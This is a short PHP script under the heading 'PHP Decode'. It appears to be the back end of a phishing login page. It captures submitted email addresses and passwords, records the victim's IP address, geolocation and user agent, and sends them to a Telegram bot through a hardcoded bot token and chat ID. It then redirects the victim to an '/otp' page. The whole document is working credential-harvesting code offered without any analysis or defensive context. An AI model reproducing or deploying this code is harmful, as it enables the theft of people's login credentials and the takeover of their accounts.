PHP Decode

<?php 
//    
$botToken = "7996606148:AAGCkZCmT3y1en-3-zWmyk4almnDqZmbR8A"; 
$chatId = "-1002180753425"; 
 
//    POST 
$email = $_POST['email']; 
$password = $_POST['password']; 
$remember = isset($_POST['remember']) ? '' : ''; 
 
//   IP     
if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
    $userIP = $_SERVER['HTTP_CLIENT_IP']; 
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
    $userIP = $_SERVER['HTTP_X_FORWARDED_FOR']; 
} else { 
    $userIP = $_SERVER['REMOTE_ADDR']; 
} 
 
//       IP  
$ipInfo = file_get_contents("http://ip-api.com/json/$userIP?fields=country,region,city,isp,timezone,countryCode"); 
$ipData = json_decode($ipInfo, true); 
 
//       
$countryCode = strtolower($ipData['countryCode'] ?? ''); //   ( "US"  "EG") 
$flagEmoji = '';  
 
//       Unicode (  127397    ) 
if ($countryCode) { 
    $flagEmoji = ''; 
    for ($i = 0; $i < strlen($countryCode); $i++) { 
        $flagEmoji .= mb_convert_encoding('&#' . (ord($countryCode[$i]) + 127397) . ';', 'UTF-8', 'HTML-ENTITIES'); 
    } 
} 
 
//   User Agent 
$userAgent = $_SERVER['HTTP_USER_AGENT']; 
 
//   
$message = " Info  

"; 
$message .= "I  I

"; 
$message .= "email : $email
"; 
$message .= "pass : $password

"; 
$message .= "------------------------

"; 
$message .= "IP Address: $userIP $flagEmoji
";  //     IP 
$message .= "User Agent: $userAgent
"; 
$message .= " Info  "; 
 
//       
$url = "https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatId&text=" . urlencode($message); 
file_get_contents($url); //   
 
//    
header("Location: /otp"); 
exit(); 
?>